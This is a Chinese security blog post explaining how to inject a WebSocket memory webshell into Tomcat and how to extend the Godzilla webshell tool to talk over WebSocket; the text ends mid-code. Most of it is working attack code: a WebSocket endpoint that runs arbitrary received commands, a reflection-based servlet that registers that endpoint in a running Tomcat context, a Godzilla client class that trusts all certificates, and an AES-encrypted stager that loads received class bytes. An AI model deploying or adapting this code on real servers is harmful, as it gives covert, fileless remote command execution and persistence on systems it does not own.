前言 六月初写的了,当时正在做webshell相关的工作,刚好看到stoocea师傅发的文章,便也有了自己实现一个WebSocket版本GodZilla的想法。
WebSocket 是一种基于 TCP 协议的全双工通信协议。相比于Http单向请求——响应模式,WebSocket允许客户端和服务器可同时发送和接收数据,无需等待对方请求。当然,在握手阶段任然使用Http协议,发送升级请求后得到对方的同意升级响应后,后续便可直接使用Websocket协议交流。
如果想了解更多关于WebSocket的知识可以参考:WebSocket通信原理和在Tomcat中实现源码详解(万字爆肝)_tomcat websockt 源码分析-CSDN博客 
从中可以了解到如果想要注入一个WebSocket类型的内存马需要对面中间件条件是:支持JSR356规范(如Tomcat 7.0.47+、Jetty 9.4+)
WebSocket内存马 与其他Valve、Filter等内存马一样,我们同样需要动态注册某个组件进去,在这里就是服务端端点(Endpoint)。如果我们要制作一个恶意的Endpoint,可以通过以下两种方式:
标注注解@ServerEndpoint 
继承抽象类javax.websocket.Endpoint 
 
我们先来用ServerEdnpoint注解实现一个WebSocket的Demo。
ServerEndpoint注解实现 通过@ServerEndpoint注解标记WebSocket服务端点类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package  cmisl;     import  javax.websocket.*;  import  javax.websocket.server.ServerEndpoint;  import  java.io.IOException;     @ServerEndpoint("/ws")   public  class  WebSocketDemo  {         @OnOpen        public  void  onOpen (Session session)  {           System.out.println("WebSocket连接建立: "  + session.getId());       }          @OnMessage        public  void  onMessage (String message, Session session)  {           try  {                            session.getBasicRemote().sendText("ECHO: "  + message);           } catch  (IOException e) {               e.printStackTrace();           }       }          @OnClose        public  void  onClose (Session session)  {           System.out.println("WebSocket连接关闭: "  + session.getId());       }          @OnError        public  void  onError (Session session, Throwable error)  {           error.printStackTrace();       }   } 
 
上面就是一个Websocket的demo了,同样的,类似Filter的doFilter和Listener的requestInitialized,WebSocket同样需要实现一套自己的生命周期方法。如图分别是@OpOpen、@OnMessage、@OnError、@OnError。从名字上看也不难理解,下面是对应的介绍:
@OnOpen
触发时机 :客户端与服务端完成握手后调用,仅执行一次。 
功能 :初始化会话资源,记录连接时间等。 
 
@OnMessage
触发时机 :接收到客户端发送的消息时调用。 
功能 :处理文本、二进制或 Pong 消息,支持异步响应。 
 
@OnError
触发时机 :连接或端点发生异常时调用。 
功能 :捕获未处理的异常,防止服务崩溃,记录日志或发送错误通知。 
 
@OnClose
触发时机 :连接关闭时调用(无论主动或被动关闭)。 
功能 :释放资源、记录日志或发送最终通知。 
 
javax.websocket.Endpoint继承实现 需要实现implements MessageHandler.Whole<String>,以获取onMessage方法。或者只继承Endpoint类然后在onOpen中为session添加一个MessageHandler来注册消息处理器,本质没有区别。
此外消息处理一般除了String还可以用ByteBuffer来处理二进制消息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package  cmisl;     import  javax.websocket.Endpoint;  import  javax.websocket.EndpointConfig;  import  javax.websocket.Session;  import  javax.websocket.MessageHandler;  import  java.io.IOException;     public  class  MyWebSocketEndpoint  extends  Endpoint  implements  MessageHandler .Whole<String> {         private  Session session;          @Override        public  void  onOpen (Session session, EndpointConfig config)  {           System.out.println("WebSocket opened: "  + session.getId());           this .session = session;           session.addMessageHandler(this );      }          @Override        public  void  onMessage (String message)  {           handleMessage(message);       }          private  void  handleMessage (String message)  {           System.out.println("Received message: "  + message);           try  {               session.getBasicRemote().sendText("Echo: "  + message);           } catch  (IOException e) {               e.printStackTrace();           }       }          @Override        public  void  onClose (Session session, javax.websocket.CloseReason closeReason)  {           System.out.println("WebSocket closed: "  + session.getId());       }          @Override        public  void  onError (Session session, Throwable thr)  {           System.err.println("WebSocket error on session "  + session.getId() + ": "  + thr.getMessage());       }   } 
 
初始化流程 Apache Tomcat中用于启动Web应用上下文会调用到 standardContext.startInternal 方法,负责初始化一些Web应用的组件和资源,比如Servlet、Filter、Listener,因此在Tomcat型内存马的时候也会提及该方法。这个方法中会触发 ServletContainerInitializers 初始化。然后调用ServletContainerInitializer 接口的 onStartup()方法,它是 Java EE / Jakarta EE 规范中的标准机制,用于在 Web 应用启动时执行一些自定义的初始化逻辑,框架(如 Spring、WebSocket、Jersey 等)就会利用它进行自动配置和初始化。
Tomcat中的WebSocket就是基于此机制实现的。在Tomcat的jar包中,包含文件META-INF/services/javax.servlet.ServletContainerInitializer。内容指向org.apache.tomcat.websocket.server.WsSci,当 Tomcat 启动 web 应用时,Servlet 容器会通过 SPI(Service Provider Interface)发现并加载所有的 ServletContainerInitializer 实现。其中就包括WsSci,因此在上面提到的过程中就会调用到WsSci的onStartup方法中。
首先会初始化一个WebSocket容器,然后筛选WebSocket组件,包括通过配置定义、继承Endpoint、@ServerEndpoint注解的WebSocket服务端点。然后将筛选出来的类添加到WebSocket容器中。
连接流程 WebSocket连接开始还是Http请求,如下图:
请求发给Tomcat时,Tomcat会有一个过滤器,WsFilter。这个过滤器是Tomcat用于将普通的HTTP请求升级为WebSocket请求的组件。 简而言之:
 HTTP 请求 →  WsFilter 判断是否是 WebSocket 请求 →  发起升级协议(HTTP ➝ WebSocket) →  建立 WebSocket 连接
 
首先就是if判断,this.sc.areEndpointsRegistered()会先判断WebSocket容器中是否存在服务端点ServerEndPoint组件注册,后续在继续深入这个方法,这里并非一定要有组件才会返回true,有相关配置也是可以的。
第二个判断是isWebSocketUpgradeRequest方法判断该请求是否是WebSocket升级请求,代码如下:
1 2 3 public  static  boolean  isWebSocketUpgradeRequest (ServletRequest request, ServletResponse response)  {      return  request instanceof  HttpServletRequest && response instanceof  HttpServletResponse && headerContainsToken((HttpServletRequest)request, "Upgrade" , "websocket" ) && "GET" .equals(((HttpServletRequest)request).getMethod());   } 
 
我们需要两个判断都为true,这样才能进入if代码中升级请求。isWebSocketUpgradeRequest这个判断很容易理解,也很容易构造,正常的HTTP的Get请求+Upgrade: websocket请求头即可。因此我们关注点可以看到第一个判断中。
第一个判断返回的是WebSocket容器的endpointsRegistered属性,这个属性默认是false,如果要返回true,只有在addEndPoint方法中才会将其设置为true。
这里有两个参数,
sec:通过注解或显式注册的 WebSocket 配置对象 ServerEndpointConfig fromAnnotatedPojo:是否来自注解 @ServerEndpoint`(true)或是通过程序方式添加(false)
 
这个方法虽然不能直接调用,但是我们可以调用它的重载addEndPoint(ServerEndpointConfig sec),这样的话其实我们只需要传入一个参数即可。
这样看来我们就需要构造ServerEndpointConfig实例,并且还需要获取当前Tomcat服务器中的WsServerContainer。以便于去调用其addEndPoint方法来让endpointsRegistered属性变为true。
构造ServerEndpointConfig实例 ServerEndpointConfig是一个接口,可以注意到这个接口的build方法中,会new一个DefaultServerEndpointConfig实例出来,而DefaultServerEndpointConfig刚好是ServerEndpointConfig接口的实现。Builder 是 ServerEndpointConfig 的一个静态内部类。
获取WsServerContainer WsServerContainer是在WsSci#init中创建的。
创建后的WsServerContainer会设置到ApplicationContext中的attributes中,是一个键值对,键名是javax.websocket.server.ServerContainer,当然在tomcat10中就需要将javax修改为jakarta,因为从 Tomcat 10 开始,Java Servlet API 的包名改为了 jakarta.servlet。值就是我们需要的WsServerContainer,也就是当前应用中的WebSocket容器了。
编写内存马 先来一段WebSocket shell:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 package  cmisl;     import  javax.websocket.Endpoint;  import  javax.websocket.EndpointConfig;  import  javax.websocket.MessageHandler;  import  javax.websocket.Session;  import  java.io.BufferedReader;  import  java.io.InputStreamReader;     public  class  cmdWebSocket  extends  Endpoint  implements  MessageHandler .Whole<String> {         private  Session session;          @Override        public  void  onOpen (Session session, EndpointConfig endpointConfig)  {           this .session = session;           session.addMessageHandler(this );       }          @Override        public  void  onMessage (String command)  {           try  {               StringBuilder  output  =  new  StringBuilder ();               Process  process  =  Runtime.getRuntime().exec(command);                  try  (                       BufferedReader  reader  =  new  BufferedReader (new  InputStreamReader (process.getInputStream()));                       BufferedReader  errReader  =  new  BufferedReader (new  InputStreamReader (process.getErrorStream()))               ) {                   String line;                   while  ((line = reader.readLine()) != null ) {                       output.append(line).append("\n" );                   }                   while  ((line = errReader.readLine()) != null ) {                       output.append(line).append("\n" );                   }               }                  session.getBasicRemote().sendText(output.toString());           } catch  (Exception e) {               try  {                   session.getBasicRemote().sendText("Error: "  + e.getMessage());               } catch  (Exception ex) {                   ex.printStackTrace();               }           }       }   } 
 
接着要有一个注入点,我这里有用Servlet代替了,主要是能执行一段能够注入上方WebSocket Shell的代码就行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 package  cmisl;     import  org.apache.catalina.core.StandardContext;     import  java.lang.reflect.Field;  import  java.lang.reflect.InvocationTargetException;  import  java.lang.reflect.Method;  import  java.util.ArrayList;  import  java.util.HashMap;  import  java.util.List;  import  java.util.concurrent.ConcurrentHashMap;  import  javax.servlet.ServletContext;  import  javax.servlet.annotation.WebServlet;  import  javax.servlet.http.HttpServlet;  import  javax.servlet.http.HttpServletRequest;  import  javax.servlet.http.HttpServletResponse;  import  javax.websocket.server.ServerEndpointConfig;     import  org.apache.catalina.core.StandardContext;  import  org.apache.tomcat.websocket.server.WsServerContainer;        @WebServlet(name = "cmdShellServlet", urlPatterns = {"/cmd"})   public  class  cmdShellServlet  extends  HttpServlet  {         @Override        protected  void  doGet (HttpServletRequest request, HttpServletResponse response)  {              try  {               List<Object> contexts = getContext();               ServletContext  servletContext  =  null ;                  for  (Object context : contexts) {                   servletContext = (ServletContext) invokeMethod(context, "getServletContext" );               }                  Object  applicationContext  =  getFV(servletContext, "context" );                  Object  attributes  =  getFV(applicationContext, "attributes" );               WsServerContainer wsServerContainer= (WsServerContainer) ((ConcurrentHashMap) attributes).get("javax.websocket.server.ServerContainer" );                  ServerEndpointConfig.Builder  builder  =  ServerEndpointConfig.Builder.create(cmdWebSocket.class, "/ws/cmd" );               ServerEndpointConfig  build  =  builder.build();                  wsServerContainer.addEndpoint(build);              } catch  (Exception e) {           }       }          @Override        protected  void  doPost (HttpServletRequest request, HttpServletResponse response)  {           doGet(request, response);       }          public  List<Object> getContext ()  throws  IllegalAccessException, NoSuchMethodException, InvocationTargetException {           List<Object> contexts = new  ArrayList <Object>();           Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads" );           Object  context  =  null ;           try  {               for  (Thread thread : threads) {                                    if  (thread.getName().contains("ContainerBackgroundProcessor" ) && context == null ) {                       HashMap  childrenMap  =  (HashMap) getFV(getFV(getFV(thread, "target" ), "this$0" ), "children" );                       for  (Object key : childrenMap.keySet()) {                           HashMap  children  =  (HashMap) getFV(childrenMap.get(key), "children" );                           for  (Object key1 : children.keySet()) {                               context = children.get(key1);                               if  (context != null  && context.getClass().getName().contains("StandardContext" ))                                   contexts.add(context);                               if  (context != null  && context.getClass().getName().contains("TomcatEmbeddedContext" ))                                   contexts.add(context);                           }                       }                   }                                    else  if  (thread.getContextClassLoader() != null  && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader" ) || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader" ))) {                       context = getFV(getFV(thread.getContextClassLoader(), "resources" ), "context" );                       if  (context != null  && context.getClass().getName().contains("StandardContext" ))                           contexts.add(context);                       if  (context != null  && context.getClass().getName().contains("TomcatEmbeddedContext" ))                           contexts.add(context);                   }               }           } catch  (Exception e) {               throw  new  RuntimeException (e);           }           return  contexts;       }          static  Object getFV (Object obj, String fieldName)  throws  Exception {           Field  field  =  getF(obj, fieldName);           field.setAccessible(true );           return  field.get(obj);       }          static  Field getF (Object obj, String fieldName)  throws  NoSuchFieldException {           Class<?> clazz = obj.getClass();           while  (clazz != null ) {               try  {                   Field  field  =  clazz.getDeclaredField(fieldName);                   field.setAccessible(true );                   return  field;               } catch  (NoSuchFieldException e) {                   clazz = clazz.getSuperclass();               }           }           throw  new  NoSuchFieldException (fieldName);       }          static  synchronized  Object invokeMethod (Object targetObject, String methodName)  throws  NoSuchMethodException, IllegalAccessException, InvocationTargetException {           return  invokeMethod(targetObject, methodName, new  Class [0 ], new  Object [0 ]);       }          public  static  synchronized  Object invokeMethod (final  Object obj, final  String methodName, Class[] paramClazz, Object[] param)  throws  NoSuchMethodException, InvocationTargetException, IllegalAccessException {           Class  clazz  =  (obj instanceof  Class) ? (Class) obj : obj.getClass();           Method  method  =  null ;              Class  tempClass  =  clazz;           while  (method == null  && tempClass != null ) {               try  {                   if  (paramClazz == null ) {                                            Method[] methods = tempClass.getDeclaredMethods();                       for  (int  i  =  0 ; i < methods.length; i++) {                           if  (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0 ) {                               method = methods[i];                               break ;                           }                       }                   } else  {                       method = tempClass.getDeclaredMethod(methodName, paramClazz);                   }               } catch  (NoSuchMethodException e) {                   tempClass = tempClass.getSuperclass();               }           }           if  (method == null ) {               throw  new  NoSuchMethodException (methodName);           }           method.setAccessible(true );           if  (obj instanceof  Class) {               try  {                   return  method.invoke(null , param);               } catch  (IllegalAccessException e) {                   throw  new  RuntimeException (e.getMessage());               }           } else  {               try  {                   return  method.invoke(obj, param);               } catch  (IllegalAccessException e) {                   throw  new  RuntimeException (e.getMessage());               }           }       }   } 
 
访问/cmd触发这个Servlet中的代码,然后连接WebSocket发送命令,没问题。
工具二开 由于最近接触哥斯拉和jmg较多,打算把WebSocket整合进去,这里思考了一下还是先把哥斯拉的弄出来。jmg的话比较简单,可以自行思考完成。
哥斯拉 哥斯拉的二开可以参考:[二开]_哥斯拉-PHP流量特征修改 
想要在加密器选项里面有我们新增类型的加密器,需要在jar包里新增一个类,有这个class文件就行,里面有没有内容无所谓。可以使用Jar_Editor插件。然后再从我们src目录下用CryptionAnnotation注解编写这个加密器。
哥斯拉的一个逻辑我有简单写过,但是我正在写这篇的时候还没发,如果到时候忘记贴链接了可以在博客里面找找。
哥斯拉的shell初始化逻辑是,直接发送一个很大的马。让服务器上的webshell把大马吃到并加载到内存中。然后会有自己构造的一个通信方式与这个大马交流,这个构造在哥斯拉分析文章也抽离出来了,感兴趣可以看看。
WebSocket通信类 这个大马其实无需改造,我们小马用hashmap来存储加载的大马和传输的指令即可。至于通信方式手搓了一个:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 public  class  WebSocket  {      private  static  final  HostnameVerifier  hostnameVerifier  =  new  TrustAnyHostnameVerifier ();       private  final  Proxy proxy;       private  final  ShellEntity shellContext;       private  CookieManager cookieManager;       private  URI uri;       public  String  requestMethod  =  "POST" ;       private  boolean  connected  =  false ;       private  Socket  socket  =  null ;       private  OutputStream  outputStream  =  null ;       private  InputStream  inputStream  =  null ;          public  WebSocket (ShellEntity shellContext)  {           this .shellContext = shellContext;           this .proxy = ApplicationContext.getProxy(this .shellContext);       }          public  boolean  Handshake ()  {           try  {               URI  uri  =  new  URI (shellContext.getUrl());               Proxy  proxy  =  this .proxy;               BufferedReader  reader  =  null ;               BufferedWriter  writer  =  null ;                  try  {                   if  (proxy == null ) {                       proxy = Proxy.NO_PROXY;                   }                   this .socket = new  Socket (proxy);                      socket.connect(new  InetSocketAddress (uri.getHost(), getPort(uri)), shellContext.getConnTimeout());                   socket.setSoTimeout(shellContext.getReadTimeout());                      this .inputStream = this .socket.getInputStream();                   this .outputStream = this .socket.getOutputStream();                      reader = new  BufferedReader (new  InputStreamReader (this .inputStream));                   writer = new  BufferedWriter (new  OutputStreamWriter (this .outputStream));                      String  key  =  generateWebSocketKey(this .shellContext.getPassword()+this .shellContext.getSecretKey());                   writer.write("GET "  + uri.getRawPath() + (uri.getQuery() != null  ? "?"  + uri.getQuery() : "" ) + " HTTP/1.1\r\n" );                   writer.write("Host: "  + uri.getHost() + ":"  + getPort(uri) + "\r\n" );                   writer.write("Upgrade: websocket\r\n" );                   writer.write("Connection: Upgrade\r\n" );                   writer.write("Sec-WebSocket-Key: "  + key + "\r\n" );                   writer.write("Sec-WebSocket-Version: 13\r\n" );                      writer.write("\r\n" );                   writer.flush();                      String  statusLine  =  reader.readLine();                   if  (statusLine == null  || !statusLine.startsWith("HTTP/1.1 101" )) {                       throw  new  IOException ("WebSocket handshake failed: "  + statusLine);                   }                      Map<String, List<String>> responseHeaders = new  HashMap <>();                   String line;                   while  ((line = reader.readLine()) != null  && !line.isEmpty()) {                       int  idx  =  line.indexOf(':' );                       if  (idx > 0 ) {                           String  name  =  line.substring(0 , idx).trim();                           String  value  =  line.substring(idx + 1 ).trim();                           responseHeaders.computeIfAbsent(name, k -> new  ArrayList <>()).add(value);                       }                   }                      this .connected = true ;                   return  true ;               } catch  (Exception e) {                   Log.error("WebSocket handshake error: "  + e.getMessage());                   disconnect();                   return  false ;               } finally  {               }           } catch  (Exception e) {               throw  new  RuntimeException (e);           }          }             public  WebSocketResponse SendWebSocketConn (String urlString, String method, Map<String, String> header, byte [] requestData, int  connTimeOut, int  readTimeOut, Proxy proxy)  throws  Exception {           if  (!connected || this .socket == null  || !this .socket.isConnected()) {               throw  new  IllegalStateException ("WebSocket not connected" );           }              try  {               sendWebSocketFrame(requestData);               byte [] response = readWebSocketFrame();               return  new  WebSocketResponse (this .shellContext, 200 , null , response);           } catch  (IOException e) {               Log.error("WebSocket send error: "  + e.getMessage());               disconnect();               return  new  WebSocketResponse (this .shellContext, 500 , null , ("Error: "  + e.getMessage()).getBytes());           }       }          public  WebSocketResponse sendWebSocketResponse (byte [] requestData)  {           Map<String, String> header = this .shellContext.getHeaders();           int  connTimeOut  =  this .shellContext.getConnTimeout();           int  readTimeOut  =  this .shellContext.getReadTimeout();              requestData = this .shellContext.getCryptionModule().encode(requestData);           String  left  =  this .shellContext.getReqLeft();           String  right  =  this .shellContext.getReqRight();           if  (this .shellContext.isSendLRReqData()) {               byte [] leftData = left.getBytes();               byte [] rightData = right.getBytes();               requestData = (byte []) functions.concatArrays(functions.concatArrays(leftData, 0 , (leftData.length > 0  ? leftData.length : 1 ) - 1 , requestData, 0 , requestData.length - 1 ), 0 , leftData.length + requestData.length - 1 , rightData, 0 , (rightData.length > 0  ? rightData.length : 1 ) - 1 );           }           try  {               return  this .SendWebSocketConn(this .shellContext.getUrl(), this .requestMethod, header, requestData, connTimeOut, readTimeOut, this .proxy);           } catch  (Exception e) {               throw  new  RuntimeException (e);           }       }          private  void  sendWebSocketFrame (byte [] payload)  throws  IOException {           byte [] frame = new  byte [10  + payload.length];              if  (this .shellContext.getCryption().contains("BASE64" )) {               frame[offset++] = (byte ) 0x81 ;           }           if  (this .shellContext.getCryption().contains("RAW" )) {               frame[offset++] = (byte ) 0x82 ;           }              int  length  =  payload.length;           boolean  mask  =  true ;              if  (length <= 125 ) {               frame[offset++] = (byte ) ((mask ? 0x80  : 0 ) | length);           } else  if  (length < 65536 ) {               frame[offset++] = (byte ) ((mask ? 0x80  : 0 ) | 126 );               frame[offset++] = (byte ) (length >> 8 );               frame[offset++] = (byte ) length;           } else  {               frame[offset++] = (byte ) ((mask ? 0x80  : 0 ) | 127 );               for  (int  i  =  56 ; i >= 0 ; i -= 8 ) {                   frame[offset++] = (byte ) (length >> i);               }           }              byte [] maskKey = new  byte [4 ];           new  SecureRandom ().nextBytes(maskKey);           System.arraycopy(maskKey, 0 , frame, offset, 4 );           offset += 4 ;              for  (int  i  =  0 ; i < length; i++) {               frame[offset + i] = (byte ) (payload[i] ^ maskKey[i % 4 ]);           }              offset += length;              outputStream.write(frame, 0 , offset);           outputStream.flush();       }          private  byte [] readWebSocketFrame() throws  IOException {           ByteArrayOutputStream  frameBuffer  =  new  ByteArrayOutputStream ();           byte [] buffer = new  byte [65536 ];              int  totalRead  =  0 ;           while  (frameBuffer.size() < 2  && totalRead != -1 ) {               totalRead = inputStream.read(buffer);               if  (totalRead > 0 ) frameBuffer.write(buffer, 0 , totalRead);           }              if  (frameBuffer.size() < 2 ) return  new  byte [0 ];              byte [] frameHeader = frameBuffer.toByteArray();           boolean  mask  =  (frameHeader[1 ] & 0x80 ) != 0 ;           int  payloadLength  =  frameHeader[1 ] & 0x7F ;              int  lengthBytes  =  0 ;           if  (payloadLength == 126 ) lengthBytes = 2 ;           else  if  (payloadLength == 127 ) lengthBytes = 8 ;              int  maskKeyOffset  =  2  + lengthBytes;           int  totalNeedRead  =  maskKeyOffset + (mask ? 4  : 0 );              while  (frameBuffer.size() < totalNeedRead && totalRead != -1 ) {               totalRead = inputStream.read(buffer);               if  (totalRead > 0 ) frameBuffer.write(buffer, 0 , totalRead);           }              if  (frameBuffer.size() < totalNeedRead) return  new  byte [0 ];              if  (payloadLength == 126 ) {               payloadLength = ((frameHeader[2 ] & 0xFF ) << 8 ) | (frameHeader[3 ] & 0xFF );           } else  if  (payloadLength == 127 ) {               payloadLength = ((frameHeader[6 ] & 0xFF ) << 24 )                       | ((frameHeader[7 ] & 0xFF ) << 16 )                       | ((frameHeader[8 ] & 0xFF ) << 8 )                       | (frameHeader[9 ] & 0xFF );           }              int  dataStart  =  maskKeyOffset + (mask ? 4  : 0 );           int  dataLength  =  payloadLength;           int  totalDataRead  =  frameBuffer.size() - dataStart;              while  (totalDataRead < dataLength && totalRead != -1 ) {               totalRead = inputStream.read(buffer);               if  (totalRead > 0 ) {                   frameBuffer.write(buffer, 0 , totalRead);                   totalDataRead += totalRead;               }           }              byte [] fullFrame = frameBuffer.toByteArray();           byte [] data = new  byte [dataLength];           System.arraycopy(fullFrame, dataStart, data, 0 , dataLength);              if  (mask) {               byte [] maskKey = new  byte [4 ];               System.arraycopy(fullFrame, maskKeyOffset, maskKey, 0 , 4 );               for  (int  i  =  0 ; i < data.length; i++) {                   data[i] ^= maskKey[i % 4 ];               }           }              return  data;       }          private  static  void  trustAllHttpsCertificates ()  {           try  {               TrustManager[] trustAllCerts = new  TrustManager [1 ];               miTM  tm  =  new  miTM ();               trustAllCerts[0 ] = tm;               SSLContext  sc  =  SSLContext.getInstance("SSL" );               sc.init(null , trustAllCerts, new  SecureRandom ());               HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());               SSLContext  sc2  =  SSLContext.getInstance("TLS" );               sc2.init(null , trustAllCerts, new  SecureRandom ());               HttpsURLConnection.setDefaultSSLSocketFactory(sc2.getSocketFactory());           } catch  (Exception e) {               e.printStackTrace();           }       }          public  synchronized  URI getUri ()  {           if  (this .uri == null ) {               try  {                   this .uri = URI.create(this .shellContext.getUrl());               } catch  (Exception e) {                   e.printStackTrace();               }           }           return  this .uri;       }          private  int  getPort (URI uri)  {           int  port  =  uri.getPort();           if  (port == -1 ) {               if  ("wss" .equalsIgnoreCase(uri.getScheme()) || "https" .equalsIgnoreCase(uri.getScheme())) {                   return  443 ;               } else  {                   return  80 ;               }           }           return  port;       }          public  void  disconnect ()  {           connected = false ;           try  {               if  (outputStream != null ) outputStream.close();               if  (inputStream != null ) inputStream.close();               if  (socket != null  && !socket.isClosed()) socket.close();           } catch  (IOException e) {               Log.error("WebSocket disconnect error: "  + e.getMessage());           }       }          private  String generateWebSocketKey (String customKey)  {           byte [] nonce;              if  (customKey != null  && !customKey.isEmpty()) {               try  {                   MessageDigest  md  =  MessageDigest.getInstance("MD5" );                   nonce = md.digest(customKey.getBytes(StandardCharsets.UTF_8));               } catch  (NoSuchAlgorithmException e) {                   throw  new  RuntimeException ("MD5 algorithm not found" , e);               }           } else  {               nonce = new  byte [16 ];               new  SecureRandom ().nextBytes(nonce);           }              return  Base64.getEncoder().withoutPadding().encodeToString(nonce);       }                public  synchronized  CookieManager getCookieManager ()  {           if  (this .cookieManager == null ) {               this .cookieManager = new  CookieManager ();               try  {                   String  cookieStr  =  this .shellContext.getHeaders().get("Cookie" );                   if  (cookieStr == null ) {                       cookieStr = this .shellContext.getHeaders().get("cookie" );                   }                   if  (cookieStr != null ) {                       String[] cookies;                       for  (String cookieStr2 : cookies = cookieStr.split(";" )) {                           String[] cookieAtt = cookieStr2.split("=" );                           if  (cookieAtt.length != 2 ) continue ;                           HttpCookie  httpCookie  =  new  HttpCookie (cookieAtt[0 ], cookieAtt[1 ]);                           this .cookieManager.getCookieStore().add(this .getUri(), httpCookie);                       }                   }               } catch  (Exception e) {                   e.printStackTrace();               }           }           return  this .cookieManager;       }          static  {           WebSocket.trustAllHttpsCertificates();       }          public  static  class  TrustAnyHostnameVerifier  implements  HostnameVerifier  {           @Override            public  boolean  verify (String hostname, SSLSession session)  {               return  true ;           }       }          private  static  class  miTM  extends  X509ExtendedTrustManager  implements  TrustManager , X509TrustManager {           ......       }   } 
 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 public  class  WebSocketResponse  {    private  final  int  responseCode;     private  final  Map<String, List<String>> headers;     private  byte [] result;     private  ShellEntity shellEntity;     public  WebSocketResponse (ShellEntity shellEntity, int  responseCode, Map<String, List<String>> headers, byte [] result)  {         this .shellEntity = shellEntity;         this .responseCode = responseCode;         this .headers = headers;         this .result = Decrypte(result);     }     public  int  getResponseCode ()  {         return  responseCode;     }     public  Map<String, List<String>> getHeaders ()  {         return  headers;     }     public  byte [] getresult() {         return  result;     }     public  byte [] Decrypte(byte [] Ciphertext) {         try  {             byte [] decode = this .shellEntity.getCryptionModule().decode(Ciphertext);             return  decode;         } catch  (Exception e) {             return  new  byte [0 ];         }     } } 
 
至于哥斯拉其他需要修改的地方可以自行寻找调用http的地方,然后平行增加个WebSocket的调用就行了。比较简单。
那JavaWebSocket的初始化部分就可以改成如下,增加一个握手的过程即可,然后用webbsocket的方法去发送大马。
小马 至于我们应该放在服务端的小马可以写成如下,这只是个简单的demo,可以进行改进。
Base64类型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 public  class  Base64WebSocket  extends  Endpoint  implements  MessageHandler .Whole<String> {         private  Session session;       public  static  Map<String, Object> store = new  HashMap ();       String  xc  =  "082e34fbef497bb1" ;      String  pass  =  "cmisl" ;       public  String  headerName  =  "cmisl" ;       public  String  headerValue  =  "cmisl" ;          String  md5  =  md5(pass + xc);          private  static  Class defineClass (byte [] classbytes)  throws  Exception {           URLClassLoader  urlClassLoader  =  new  URLClassLoader (new  URL [0 ], Thread.currentThread().getContextClassLoader());           Method  method  =  ClassLoader.class.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class);           method.setAccessible(true );           return  (Class) method.invoke(urlClassLoader, classbytes, 0 , classbytes.length);       }          public  byte [] x(byte [] s, boolean  m) {           try  {               Cipher  c  =  Cipher.getInstance("AES" );               c.init(m ? 1  : 2 , new  SecretKeySpec (xc.getBytes(), "AES" ));               return  c.doFinal(s);           } catch  (Exception e) {               return  null ;           }       }          @Override        public  void  onOpen (Session session, EndpointConfig config)  {           this .session = session;           System.out.println("onOpen method is invoked" );           this .session.setMaxBinaryMessageBufferSize(1024  * 1024 );           this .session.setMaxTextMessageBufferSize(1024  * 1024 );           session.addMessageHandler(this );      }          @Override        public  void  onMessage (String message)  {           try  {               System.out.println("onMessage method is invoked" );               String[] split = message.split("=" );               StringBuilder  result  =  new  StringBuilder ();                  if  (split[0 ] != null  && split[0 ].equals(pass)) {                   byte [] data = base64Decode(URLDecoder.decode(split[1 ], "UTF-8" ));                   data = x(data, false );                      if  (store.get("payload" ) == null ) {                       store.put("payload" , defineClass(data));                   } else  {                       store.put("parameters" , data);                       ByteArrayOutputStream  